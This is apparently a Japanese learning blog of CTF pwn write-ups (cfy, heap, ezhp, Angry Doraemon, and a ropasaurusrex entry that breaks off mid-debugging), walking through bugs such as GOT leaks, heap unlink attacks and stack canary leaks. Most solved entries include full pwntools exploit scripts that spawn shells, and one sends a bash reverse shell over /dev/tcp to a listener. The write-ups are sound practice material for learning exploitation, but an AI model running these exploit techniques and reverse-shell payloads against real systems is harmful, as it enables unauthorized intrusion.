読者です 読者をやめる 読者になる 読者になる

ちょっとずつ成長日記

強くなりたいと願いつつ少しずつ頑張る日記

31C3 CTF cfy

pwn list pwn list easy

64bit-ELFでxinetd型だった。問題としては攻撃を知っておかなければならないというよりも、システムの仕様理解していれば解けるような問題だった。ではさっそく、checksecから。

shima@chino:~/workspace/pwn_list_easy/cfy$ checksec --file cfy
[*] '/home/shima/workspace/pwn_list_easy/cfy/cfy'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

実行ファイルを調べてもheapなども使われいないことから「今回はsystem(/bin/sh)を呼ぶんだろうな」ということを念頭に置きながらさっそく実行!

shima@chino:~/workspace/pwn_list_easy/cfy$ ./cfy 
What do you want to do?
0) parse from hex
1) parse from dec
2) parse from pointer
3) quit
0

Please enter your number: 113
dec: 275
hex: 0x113

What do you want to do?
0) parse from hex
1) parse from dec
2) parse from pointer
3) quit

打った文字を10進と16進で表示させるような問題だった。しかし、2) parse from pointerというのが、適当に打ってもセグフォしてよくわからなかったのでここを中心に調べてみることにした。

RAX: 0x601018 --> 0x7ffff7a81d60 (<puts>: push   r12)

   0x400789 <from_ptr+4>:    mov    QWORD PTR [rbp-0x8],rdi
   0x40078d <from_ptr+8>:    mov    rax,QWORD PTR [rbp-0x8]
   0x400791 <from_ptr+12>:   mov    rax,QWORD PTR [rax]
=> 0x400794 <from_ptr+15>:   mov    rax,QWORD PTR [rax]
   0x400797 <from_ptr+18>:   pop    rbp
   0x400798 <from_ptr+19>:   ret   

どうやら、打った文字のアドレスの中身を表示させるような仕組みになっていた。今は、puts関数のGOTアドレスを打った様子である。「ここからlibc_baseをleakさせればいいのか」とここで考えた。
また、これとは違ったバグを見つけた。

0x4008af <main+163>: shl    rax,0x4            
0x4008b3 <main+167>: add    rax,0x601080       ;rax*16 + 0x601080
0x4008b9 <main+173>: mov    rax,QWORD PTR [rax]
0x4008bc <main+176>: mov    edi,0x6010e0
0x4008c1 <main+181>: call   rax                ;rax(buf)

gdb-peda$ x/50gx 0x601080
0x601080 <parsers>:  0x000000000040073d 0x00000000004009b4
0x601090 <parsers+16>:  0x0000000000400761 0x00000000004009c3
0x6010a0 <parsers+32>:  0x0000000000400785 0x00000000004009d2
0x6010b0:  0x0000000000000000 0x0000000000000000
0x6010c0 <stdout@@GLIBC_2.2.5>:    0x00007ffff7dd4400 0x00007ffff7dd4640
0x6010d0 <completed.6972>:  0x0000000000000000 0x0000000000000000
0x6010e0 <buf>:  0x6161616161616161 0x6262626262626262
0x6010f0 <buf+16>:  0x6363636363636363 0x616161616161000a
0x601100 <buf+32>:  0x6161616161616161 0x0a61616161616161

0,1,2の番号に応じたユーザ関数を呼び出すときにユーザが入力した番号をシフトさせてその値に0x601080を足して呼び出している。ちなみに、0x601080の中身から上位のアドレスにユーザが入力した値が格納されるbufがある。
このバグを上手く利用してraxの部分をsystemにし、その第一引数のbufに/bin/shとすればshellが起動するはずである。
これらをまとめると、以下のような順番で、攻撃していく。

  1. libc_baseをnumber 2を使って、適当なライブラリ関数のGOTアドレスからleakする。

  2. systemをnumber 0 or number 1を使ってbuf+16にsetする。

  3. /bin/shをnumber 7(raxをbuf+16にする)を使ってbufにsetしてshellを起動させる。

コードにすると以下のようになる。こーどべちょー

#!/usr/bin/env python2
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log

elf = ELF('./cfy')
puts_got = elf.got['puts']

libc = ELF('/lib/x86_64-linux-gnu/libc-2.19.so')
puts_offset = libc.symbols['puts']
system_offset = libc.symbols['system']

conn = process('./cfy')
print "[+] connect to local\n"

def send_data(number, data):
    conn.recvuntil('3) quit\n')
    conn.send(number+'\n')
    conn.recvuntil('Please enter your number: ')
    conn.send(data+'\n')

# leak libc base
leak = ''
leak += p64(puts_got)
send_data('2', leak)

conn.recvuntil('hex: ')
libc_base  = int(conn.recv(16), 16) - puts_offset
system = libc_base + system_offset
print "libc_base:%16x" % libc_base
print "system   :%16x" % system

# set system
payload = ''
payload += p64(0xdeadbeef)   # buf
payload += p64(0xdeadbeef)   # buf+8
payload += p64(system)       # buf+16(call rax)
send_data('0', payload)

# start system(/bin/sh)
payload = ''
payload += '/bin/sh'    # buf(arg 1)
send_data('7', payload) # set call eax to buf+16

conn.interactive()

[総評]libc_baseの特定を頑張る問題

DEF CON CTF Qualifier 2014 heap

pwn list pwn list easy

32bit-ELFでxinetd型だった。今回はheapということでかなりrevに力を入れないといけないなぁと思いつつ問題を解くことにした。ということでさっそく、checksecと実行をしてみた。

shima@chino:~/workspace/pwn_list_easy/heap$ checksec --file heap 
[*] '/home/shima/workspace/pwn_list_easy/heap/heap'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

NXは立っているがheapの部分は実際に動かしてみるまで分からないため、実際にgdbmallocされた後で止めてvmmapして確かめた。
f:id:shimasyaro:20170322161519p:plain
これを見るとどうやら、heapには実行権限がついているため、今回はshellcodeを使っても問題なさそうだ。

shima@chino:~/workspace/pwn_list_easy/heap$ ./heap 

Welcome to your first heap overflow...
I am going to allocate 20 objects...
Using Dougle Lee Allocator 2.6.1...
Goodluck!

Exit function pointer is at 804C8AC address.
[ALLOC][loc=88A8008][size=1246]
[ALLOC][loc=88A84F0][size=1121]
[ALLOC][loc=88A8958][size=947]
[ALLOC][loc=88A8D10][size=741]
[ALLOC][loc=88A9000][size=706]
[ALLOC][loc=88A92C8][size=819]
[ALLOC][loc=88A9600][size=673]
[ALLOC][loc=88A98A8][size=1004]
[ALLOC][loc=88A9C98][size=952]
[ALLOC][loc=88AA058][size=755]
[ALLOC][loc=88AA350][size=260]
[ALLOC][loc=88AA458][size=877]
[ALLOC][loc=88AA7D0][size=1245]
[ALLOC][loc=88AACB8][size=1047]
[ALLOC][loc=88AB0D8][size=1152]
[ALLOC][loc=88AB560][size=1047]
[ALLOC][loc=88AB980][size=1059]
[ALLOC][loc=88ABDA8][size=906]
[ALLOC][loc=88AC138][size=879]
[ALLOC][loc=88AC4B0][size=823]
Write to object [size=260]:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Copied 334 bytes.
[FREE][address=88A8008]
[FREE][address=88A84F0]
[FREE][address=88A8958]
[FREE][address=88A8D10]
[FREE][address=88A9000]
[FREE][address=88A92C8]
[FREE][address=88A9600]
[FREE][address=88A98A8]
[FREE][address=88A9C98]
[FREE][address=88AA058]
[FREE][address=88AA350]
Segmentation fault (コアダンプ)

heap overflowと書かれていたため、260以上の入力を行ったとき、セグフォを起こした。このときfreeはallocされた順番にfreeされていき、11番目でセグフォで終了したため、「ここら辺がHeap overflowで書き換わったのかな?」と思いつつfreeを中心に見ていくことにした。すると以下のような形でchunkが20個並んでいることが分かった。 f:id:shimasyaro:20170322104516p:plain
そして、次のchunkを調べるときは現在のSIZEのアドレスからSIZEを足すことによって次のchunkのSIZEを指すといった動きをしていた。この動きを利用して以下のような動きが気になった。

mov     eax, [ebp+next_size_ptr]
mov     eax, [eax]
and     eax, 0FFFFFFFEh ; P->fd->size
add     eax, [ebp+next_size_ptr]
mov     eax, [eax]      ; P->fd->fd->size
and     eax, 1          ; P->fd->fd->size (prev is alloc?)
test    eax, eax
jnz     short prev_alloc

どうやら、and処理の部分でprev_inuseを操作していることが分かる。prev_inuseをみて、前のchunkがどうかを見ている。freeはallocされた順番に行われていく。ここの処理では、直下のchunkがallocかfreeかでその結果でjnzで処理を分けている。図にすると以下のようになる。
f:id:shimasyaro:20170322112442p:plain
ここでどういったoverflowをするのかというと、直上の260byteの部分のchunk(11個目)がoverflowし、12個目のchunkが書き換わってしまうバグだ。このバグを利用して攻撃を行う。攻撃する方法としてはprev_inuseチェックした後、freeと判断されて分岐先となる、unlink処理の部分を利用することにした。

prev_free:
mov     eax, [ebp+fd]
mov     edx, [ebp+bk]
mov     [eax+8], edx    ; P->fd->bk = P->bk
mov     eax, [ebp+bk]
mov     edx, [ebp+fd]
mov     [eax+4], edx    ; P->bk->fd = P->fd

ここで攻撃として利用するのはunlink attackを行う。行う部分は、P->fd->bk = P->bkだ。eaxにはP->fdが入るため、ここをP->fd->bk(適当なGOTアドレス-8) = P->bk(chunk data address 11個目)にする。攻撃はこれでいいが、問題はどうやって、free状態だと誤認させるかだ。
ここで注目しなければならないことは「SIZEを足して次のchunkにアクセスしている」という点だ。つまり、12個目のSIZEを適当なサイズにして「1bit目が0になっているところに飛ばす」ということをやれば誤認する。
ここで注意しなければならないことは11個目のchunkはまだ、「freeされていない」という点だ。つまり、適当なサイズにする時に「1bit目は必ず1」にしなければunlinkの途中でエラーを起こして強制終了になる。以上をまとめると以下のような図になる。
f:id:shimasyaro:20170322125139p:plain
図のchunk12個目のSIZEが0x21になっているがDataの部分はすべて0になっているため、適当な場所に飛ばすためにこの値にしている。gotのアドレスだが、freeが終了するたびにprintfで表示しているため、ここの値を書き換えることにした。
しかし、heapのアドレスに飛ばしてもまだ、落とし穴がある。

gdb-peda$ x/30wx 0x804f350
0x804f350: 0x00000000 0x0804bffc 0x00000000 0x00000000
0x804f360: 0x00000000 0x00000000 0x00000000 0x00000000
0x804f370: 0x00000000 0x00000000 0x00000000 0x00000000
0x804f380: 0x00000000 0x00000000 0x00000000 0x00000000
0x804f390: 0x00000000 0x00000000 0x00000000 0x00000000
0x804f3a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804f3b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804f3c0: 0x00000000 0x00000000

これは、chunk11個目のdata部分に飛んだ様子だが、0x0804bffc(printf.got - 8)が入っているのが分かるだろうか。つまりここの部分がunlink attackしたときに潰されてるために攻撃を工夫したければならない。
攻撃方法として「jmp命令を入れてshellcodeの部分に飛ばす」ということをする。最初の4byteの部分をjmp命令とpaddingで埋め、NOPがある部分に飛ぶようにし、NOP sledさせてshellcodeを起動させるようにする。
以上を踏まえると以下のようなcodeになる。こーどべちょー

#!/usr/bin/env python2
from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug' # output verbose log
elf = ELF('./heap')
print_got = elf.got['printf']

conn = process('./heap')
print "[+] connect to local\n"

# get chunk data address (number of 11)
heap_addr  = int(conn.recvuntil('][size=260]')[-18:-11],16)
print "heap:%08x" % heap_addr
buffer_len = 200
shellcode = asm(shellcraft.sh())

# unlink attack
payload = ''
payload += "\xeb\x10"+"\x90\x90"                 # jmp 0x10 + padding(2byte)
payload += '\x90' * 56                           # NOP sled
payload += shellcode
payload += '\x00' * (buffer_len - len(shellcode))
payload += p32(0x21)                             # size(previn_use=0)
payload += p32(print_got - 8)                    # fd
payload += p32(heap_addr)                        # bk
payload += '\n'

conn.send(payload)

conn.interactive()

jmp命令で適当なNOPの場所に飛ばしてスライドさせてshellcodeが起動するようにした。
[総評]unlink attackの基礎(実際のmallocの動きに近い)を知ることができた。

PlaidCTF 2014 ezhp

pwn list pwn list easy

私は今までheap問題のpwnを解いてこなかったが、今回はこれが初めてのheap問題だった。私の中でheap問題はかなりrevで気合を入れないと脆弱性が見えてこないことが分かった。「heap問題の脆弱性は大体はfree関係の脆弱性が多いよなぁ」という考えがなかったら、いつまでたっても脆弱性が見つからなかったかもしれない。
では、さっそく見てみよう!今回の問題は32bit-ELFでxinetd型だった。ではさっそくセキュリティチェック

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial

特に何も対策をされていないようだった。ふむ、さっそく実行してみようかな。

Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.

note系の問題であることが分かった。それぞれがどういった動きをするのか実際に動かしてもよくわからないため、とりあえずデバッグしながら動かしてみたら以下のようなことが分かった。

  • addでユーザが指定したsize分heapを確保する。(id:0からスタート)

  • removeでheapの解放

  • changeで指定したidの確保されたheapのDataにユーザが指定したsize分、ユーザが入力した値を入れる。

  • printで指定したidのDataを表示

  • quitはプログラム終了

さらに、確保されたheapは以下のような構成の構造体だった。

struct chunk{
int size
struct chunk *next
struct chunk *prev
char data[]
}

この構造体自体は実際に3、4個くらいaddで作った後に、確保されたheapのアドレスをデバッグして覗いてみると分かった。dataの部分は可変長になっており、ユーザが指定したsizeに応じて変化する。
次に気になったのはheap overflowができることだ。以下はaddをsizeを4byteにしてheapの中身を見たときの様子である。

gdb-peda$ x/40wx 0x804c00c                   
0x804c00c: id:0   0x00000019 0x0804c024 0x0804c000 0x00000000
0x804c01c: 0x00000000 0x00000000 id:1   0x00000019     0x0804c03c
0x804c02c: 0x0804c00c 0x00000000 0x00000000 0x00000000
0x804c03c: id:2   0x00000019 0x0804c054 0x0804c024 0x00000000
0x804c04c: 0x00000000 0x00000000

どうやら、最低でもsizeは0x19になり、next,prevの4byteずつの後にDataは0xc(12)byte分入るようになっているようだった。(sizeを0x8にしても変わらなかったため)ここのData部分はheap overflowの脆弱性があり、例えば上記のような例であれば、id:0のdata部分からid:1のchunk構造体以下すべての部分を書き換えることができる。(menuのchangeを使って)今回はこの脆弱性を使うのかなと思った。
次に気になったのはところどころに入っていた[eax*4+0x804a060]の部分だ。どうやらこれはeaxレジスタにidの番号(0スタート)を入れてその番号に応じて4byteずつずれて入っているchar data[]のアドレスを格納しているグローバル変数だった。以下のようにid:0から順番に格納されている

gdb-peda$ x/10wx 0x804a060
0x804a060: 0x0804c018 0x0804c030 0x0804c048 0x00000000

便宜上ここではnotes_tableと呼ぶことにする。このnotes_tableはremove, change, printでなんらかのDataに関する処理をする時に使われていた。
さて、ここまで大まかな動きはある程度特定はできた。ここから脆弱性を見ていくためにmenuごとの処理(関数ごとの処理)を詳しくデバッグしながら見ていかなければならないが、闇雲に探すのもさすがに骨が折れるので、あたりをつけることにした。それは「heapってそういえばfree関係の脆弱性が多いよなぁ」である。
この考えをもってfreeする関数であるremoveの処理から見ていくことにした。すると以下のような処理が気になった。

mov     eax, [ebp+data]
sub     eax, 0Ch
mov     [ebp+now], eax  
mov     eax, [ebp+now]  
mov     eax, [eax+8]   
mov     [ebp+prev], eax             now->prev
mov     eax, [ebp+now] 
mov     eax, [eax+4]    
mov     [ebp+next], eax             now->next
cmp     [ebp+prev], 0               もしnow->prevがなかったらjzでcmp     [ebp+next], 0まで飛ぶ 
jz      (cmp     [ebp+next], 0)
mov     eax, [ebp+prev] 
mov     edx, [ebp+next]
mov     [eax+4], edx                now->prev->next = now->next
cmp     [ebp+next], 0
jz      (mov    eax,ds:0x804b060) もしnow->prevがなかったらjzでmov    eax,ds:0x804b060まで飛ぶ 
mov     eax, [ebp+next]
mov     edx, [ebp+prev]
mov     [eax+8], edx                 now->next->prev = now->prev
mov    eax,ds:0x804b060     

どうやら、removeするidを便宜上nowという名前で考えるともし、nowが前のidのポインタ(now->prev)を持っていれば、その前のポインタのnext(now->prev->next)をnow->nextにする。また、nowが次のidのポインタ(now->next)を持っていれば、その次のポインタのprev(now->next->prev)をnow->prevにしてremoveするnowのリンクを外す処理を行う。
言葉ではわかりにくいと思うので以下のような図で考えてみよう。
f:id:shimasyaro:20170307162414p:plain 今回は例をとってid:1をremoveするということを考えてみよう。図のようにremoveされる前はこのようにlinkされて繋がっている。しかし、上記に示した命令の一部が実行されると図が変化する。

cmp     [ebp+prev], 0               もしnow->prevがなかったらjzでcmp     [ebp+next], 0まで飛ぶ 
jz      (cmp     [ebp+next], 0)
mov     eax, [ebp+prev] 
mov     edx, [ebp+next]
mov     [eax+4], edx                now->prev->next = now->next

f:id:shimasyaro:20170306153132p:plain id:0のnextの指している部分が変化したのがわかるだろうか?そう、つまり、id:1を指していたのがid:2に変化したのである。いわゆるunlink処理をおこなったのである。便宜上これを①unlinkとしておこう。この①unlinkはここの図でいうid:1のprevがなければ処理を飛ばすことになる。
そして次に、また、図が変化する処理は、次の命令が実行されたときである。

cmp     [ebp+next], 0
jz      (mov    eax,ds:0x804b060) もしnow->prevがなかったらjzでmov    eax,ds:0x804b060まで飛ぶ 
mov     eax, [ebp+next]
mov     edx, [ebp+prev]
mov     [eax+8], edx                 now->next->prev = now->prev

f:id:shimasyaro:20170306153123p:plain id:2のprevの指している部分が変化したのが分かるだろうか?そう、つまり、id:1を指していたのがid:0に変化したのである。いわゆるunlink処理を行ったのである。便宜上これを②unlinkとしておこう。この②unlinkはここの図でいうid:1のnextがなければ処理を飛ばすことになる。
実はここのunlink処理に脆弱性がある。もし、id:1のprevとnextが任意の値になっていたらどうなっていただろうか?じつは任意の値を指すようになってしまう脆弱性がここにはあるのだ。現在のglibc mallocではチェックするような機構が存在するらしいが、今回の問題ではそのチェック機構は存在していない。この脆弱性を利用した攻撃をunlink attackと呼ぶ。
しかし、私はこの脆弱性を上手く利用できずに、とりあえずwrite-upをみた。すると、とても面白い攻撃の仕方をしていた。攻撃は簡単に示すと以下のようになる。

  1. id:0またはid:1から(今回はid:1からする)heap overflowでid:2のnext=notes_table, prev = notes_table - 4にする。
  2. id:2をremoveし、id:0のdataアドレスをnotes_tableアドレスに書き換える。
  3. id:0のdataがnotes_tableのアドレスであるため、changeで適当なアドレス(notes_table)、puts_gotアドレス(notes_table + 4)、shellcode(notes_table + 8)にする。
  4. id:1のchangeを行いputs_gotアドレスの書き換えを行い、そのアドレスをshellcodeが置かれているnotes_table + 8にする。

    順を追って説明していく。まず、1,2だが、これは単純にnotes_tableに格納されているid:0のdataアドレスをnotes_tableアドレス(0x804a060)に変更したいだけである。具体的には①unlinkで書き換わるようにする。ぶっちゃけ、②unlinkは関係ない。
    次に3だが、changeはdataに格納するときに[eax*4+0x804a060]とやってidごとのdataアドレスをnotes_tableから取り出す。このため、id:0のdataアドレスはid:2のremoveを行ったときにはnotes_tableアドレスに書き換わっていることを利用してid:0, id:1, id:2の順番でnotes_tableに格納されているdataアドレスを書き換える。
    最後の3はid:1のdataアドレスにはputs_gotアドレスが格納されているため、GOT Overwriteでアドレスをid:2のdataアドレスから格納されているshellcodeに飛ぶよう書き換えて、puts関数が実行されると同時にshellcodeが格納されている場所に飛んでshellが起動する。
    あとは、コードを書くだけ、こーどべちょー
#!/usr/bin/env python2
from pwn import * 

context(os='linux', arch='i386')
context.log_level = 'debug' # output verbose log
#elf = ELF('./ezhp')

if len(sys.argv) > 1 and sys.argv[1] == 'r':
        HOST = 'localhost'
        PORT = 8888
        conn = remote(HOST, PORT)
        print "[+] connect to server\n"
else:
        conn = process('./ezhp')
        print "[+] connect to local\n"

def add_note(size):
    conn.recvuntil('Please choose an option.')
    conn.sendline('1')
    conn.recvuntil('Please give me a size.')
    conn.sendline(str(size))

def remove_note(id):
    conn.recvuntil('Please choose an option.')
    conn.sendline('2')
    conn.recvuntil('Please give me an id.')
    conn.sendline(str(id))

def change_note(id, data):
    conn.recvuntil('Please choose an option.')
    conn.sendline('3')
    conn.recvuntil('Please give me an id.')
    conn.sendline(str(id))
    conn.recvuntil('Please give me a size.')
    conn.sendline(str(len(data)))
    conn.recvuntil('Please input your data.')
    conn.send(data)

notes    = 0x804a060 # notes_table
puts_got = 0x804a008
shellcode = asm(shellcraft.sh())

# make notes
add_note(0x04) # id:0
add_note(0x04) # id:1
add_note(0x04) # id:2

# send payload(heap overflow from id:1 data)
# overwrite id:2 next and prev
payload = ''
payload += '\x90' * 0xc    # id:1 data
payload += p32(0x19)       # id:2 size
payload += p32(notes)      # id:2 next
payload += p32(notes - 4)  # id:2 prev
change_note(1, payload)

# unlink attack
# 1. now->prev->next(id:0_data_addr) = now->next(notes_table)
# 2. now->prev->next(id:2_data_addr) = now->prev(notes_table + 4)
remove_note(2)

# rewrite notes_table
# notes_table + 0 = 0xdeadbeef
# notes_table + 4 = got_address
# notes_table + 8 = shellcode
payload = ''
payload += p32(0xdeadbeef)
payload += p32(puts_got)
payload += shellcode
change_note(0, payload)

# GOT overwrite(notes_table + 4 is got_address)
# got_address = notes_table + 8 (shellcode_address)
change_note(1, p32(notes + 8))

conn.interactive()

【総評】heap辛い…辛くない?あと、heapのwrite-up辛い…辛くない?

Codegate CTF Preliminary 2014 Angry Doraemon

pwn list pwn list easy

今回の問題は32bit-ELFでfork-server型であった。問題の名前がもう例のアニメのネコ型ロボットがブチ切れて地球破壊爆弾を取り出すイメージしかなかった。
それはさておき、さっそく実行してみたが…どうやら、以下のようなファイル名がなければ正常に動かないらしい。ついでにセキュリティチェックも同時に行った。

gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

mouse.txt
doraemon.txt
bread.txt

この三つのファイルがないと正常に動かないようになっていた。PIEは無効になってるし使ってる関数は使えそう。とりあえず、同じディレクトリに配置して実行!

shima@chino:~/workspace/pwn_list_easy/AngryDoraemon$ nc localhost 8888
  Angry doraemon! fight!
Waiting 2 seconds...

Doraemon H.P: 100
- Attack menu -
 1.Sword
 2.Screwdriver
 3.Red-bean bread
 4.Throw mouse
 5.Fist attack
 6.Give up
>

どうやら、menuを選ぶ系の問題のようだ。うーむ、とりあえず、ユーザーが入力を多く受け付けている関数を探して、適当な値を入れてから反応がないのであれば、詳細を見ていこうかな。とりあえず、stack overflowしないか見ていこう。
この6つのmenuの中で一番入力を受け付けているのは4だった。(逆アセンブルしてread関数を中心に探した)まずはここを中心に探していこうかな。
まず気になったのはmenuでいうSword部分が実装されているuser関数だ。

mov     dword ptr [esp+8], 0
mov     dword ptr [esp+4], offset arg ; "sh"
mov     dword ptr [esp], offset path ; "/bin/sh"
call    _execl

どうやら今回はlibcを特定するような必要がなさそうだった。execlと/bin/shで用意されているため、この二つを使えば良さそうだった。
次に気になったのはmenuの中の4番目になるThrow mouseだ。

mov     dword ptr [esp+8], 6Eh ; nbytes
lea     eax, [ebp+buf]
mov     [esp+4], eax    ; buf
mov     eax, [ebp+fd]
mov     [esp], eax      ; fd
call    _read
movzx   eax, byte ptr [ebp+buf]
cmp     al, 79h

そのほかのmenuよりも受け付けるbyte数が多く。さらに、最初の文字がASCII文字でyであったら、read関数で受け付けた中身を表示するような形をとっていた。しかし、ここで疑問に思った。「中身を表示させるような必要なくない?しかも、NULL挿入されていないし」

lea     eax, [ebp+buf]
mov     [esp+8], eax
mov     dword ptr [esp+4], offset aYouChooseS ; "You choose '%s'!\n"
mov     dword ptr [esp], offset s ; s
call    _sprintf
mov     [ebp+n], eax
mov     eax, [ebp+n]
mov     [esp+8], eax    ; n
mov     dword ptr [esp+4], offset s ; buf
mov     eax, [ebp+fd]
mov     [esp], eax      ; fd
call    _write

もしかしたら、ここらへんでstack overflowするような脆弱性があるのだろうか?とりあえず入力部分を中心に適当な文字を入れて試してみよう。

shima@chino:~/workspace/pwn_list_easy/AngryDoraemon$ nc localhost 8888
  Angry doraemon! fight!
Waiting 2 seconds...

Doraemon H.P: 100
- Attack menu -
 1.Sword
 2.Screwdriver
 3.Red-bean bread
 4.Throw mouse
 5.Fist attack
 6.Give up
>4
Are you sure? (y/n) yaaaaaaaaaaaaaaaaaaaaaaa
You choose 'yaaaaaaaaaaaaaaaaaaaaaaa
�Œ'!

"MOUSE!!!!!!!!! (HP - 25)"


shima@chino:~/workspace/pwn_list_easy/AngryDoraemon$ ./angry 
*** stack smashing detected ***: ./angry terminated

どうやら、stackが壊れたのを検知したみたい。また、yの文字が入っていたら、NULL挿入しないことによるstackの中身がleakできる脆弱性を見つけた。ここら辺を詳しくデバッグしてみてみよう。

gdb-peda$ x/50wx 0xffffcf50
0xffffcf50:    0x36790000 0x0a363636 0x00000000 0x0a4b2600
0xffffcf60:    0xffffcf88 0xf7eeaf83 0xffffcf98 0x080492c5

どうやら、canaryをつぶしたエラーになっていた。そして、そのcanaryから三つ先の0xffffcf6cにreturnアドレスである0x080492c5が格納されていることが分かった。
私はここで、あることを思い出した。「親プロセスが死なない限りcanaryって変わらないんじゃ?」つまり、最初つなげたときはcanaryをleakさせるために、わざとstackを壊してNULLを入れ忘れによる脆弱性からcanaryをleakし、二回目で攻撃コードを組んで送る方法を思いついた。
結果的にはこれでうまくいったのでこーどべちょー

#!/usr/bin/env python2
from pwn import * 

context(os='linux', arch='i386')
context.log_level = 'debug' # output verbose log
elf = ELF('./angry')

if len(sys.argv) > 1 and sys.argv[1] == 'r':
        HOST = 'localhost'
        PORT = 8888
        conn = remote(HOST, PORT)
        print "[+] connect to server\n"
else:
        conn = process('./angry')
        print "[+] connect to local\n"


# leak canary
conn.recvuntil('>')
conn.send('4\n')
payload = ''
payload += 'yAAABBBBCC'
payload += '\n'
conn.recvuntil('Are you sure? (y/n) ')
conn.send(payload)
conn.recvuntil('yAAABBBBCC\n')
canary = '\x00' + conn.recv(3)
conn.close()

# overflow and read execl args
if len(sys.argv) > 1 and sys.argv[1] == 'r':
        HOST = 'localhost'
        PORT = 8888
        conn = remote(HOST, PORT)
        print "[+] connect to server\n"
else:
        conn = process('./angry')
        print "[+] connect to local\n"

bss = elf.get_section_by_name('.bss').header['sh_addr']

# rp++ --file=./angry --rop=3 --unique > gadgets.txt
# 0x080495bd: pop esi ; pop edi ; pop ebp ; ret  ;
rop = 0x080495bd

# read(4, bss, 0x100) return rop
read = p32(elf.plt['read']) + p32(rop) + p32(4) + p32(bss) + p32(0x100)

binsh = 0x0804970D # used sword fuction
args = ''
args += p32(binsh) # first arg
args += p32(binsh) # second arg
args += p32(bss)   # third arg
args += p32(bss+4) # forth arg
args += p32(0)

#execl(/bin/sh, /bin/sh, bss, bss + 4)
execl = p32(elf.plt['execl']) + p32(0xdeadbeef) + args

conn.recvuntil('>')
conn.send('4\n')
payload = ''
payload += 'A' * 10
payload += canary
payload += '\x90' * 12
payload += read
payload += execl
payload += '\n'
conn.recvuntil('Are you sure? (y/n) ')
conn.send(payload)

# send execl args
args = ''
args += '-c\x00\x00'
args += 'bash -c \'/bin/sh 9<>/dev/tcp/localhost/50001 <&9 >&9 2>&9\'\x00'

conn.send(args)

まず最初につなげたときに、canaryをleakする。canaryの先頭である\x00を改行でつぶしてleakした3byteの先頭に\x00がcanaryになる。次に二回目だが、まず最初のreturn先をread関数にして後で呼ぶexeclの引数をbssセクションに格納するように用意する。
read関数が終わった後のreturn先だが、POP命令を三回行ってread関数の引数を無くした後に、execlをreturn先にする。引数にする/bin/shだが、これはsword関数に使われている/bin/shを使用する。
第三引数以降はbssのアドレスを入れて置き、あとで送るような形にした。引数自体はポート番号50001にreverse shellするような形をとったため、ncコマンド等で50001にlistenしておく。
上手くいけば以下のようになっているはず。

server
shima@chino:~/workspace/pwn_list_easy/AngryDoraemon$ ./angry 
*** stack smashing detected ***: ./angry terminated

attacker
shima@chino:~/workspace/pwn_list_easy/AngryDoraemon$ python exploit.py r
[*] '/home/shima/workspace/pwn_list_easy/AngryDoraemon/angry'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE
[+] Opening connection to localhost on port 8888: Done
[+] connect to server

[*] Closed connection to localhost port 8888
[+] Opening connection to localhost on port 8888: Done
[+] connect to server

[*] Closed connection to localhost port 8888

nc listen 50001
shima@chino:~/workspace/pwn_list_easy/AngryDoraemon$ nc -lvp 50001
Listening on [0.0.0.0] (family 0, port 50001)
Connection from [127.0.0.1] port 50001 [tcp/*] accepted (family 2, sport 57361)

【総評】fork-server型canary leakのいい問題

PlaidCTF 2013 ropasaurusrex

pwn list pwn list easy

今回は名前からしてROPするんだろうなぁという予想を立てながら解くような問題だった。実行ファイルはELF-32bitのxined型であった。とりあえず、起動させてからどのような挙動をするのかを見てみることにした。

shima@chino:~/workspace/pwn_list_easy/ropasaurusrex$ ./ropasaurusrex 
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault (コアダンプ)

おや?これはもしかしたらstack overflowして落ちたのだろうか?とりあえず「どのようなセグフォの仕方をするのか」に注目しながらデバッグしてみようかな。GDBどーん!

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

 [----------------------------------registers-----------------------------------]
EAX: 0xc9 
EBX: 0xf7fbb000 --> 0x1aada8 
ECX: 0xffffcfe0 ('a' <repeats 200 times>...)
EDX: 0x100 
ESI: 0x0 
EDI: 0x0 
EBP: 0x61616161 ('aaaa')
ESP: 0xffffd070 ('a' <repeats 56 times>, "\n\320\377\377\030\226\004\b\030\202\004\b")
EIP: 0x61616161 ('aaaa')
EFLAGS: 0x10203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x61616161
[------------------------------------stack-------------------------------------]
0000| 0xffffd070 ('a' <repeats 56 times>, "\n\320\377\377\030\226\004\b\030\202\004\b")
0004| 0xffffd074 ('a' <repeats 52 times>, "\n\320\377\377\030\226\004\b\030\202\004\b")
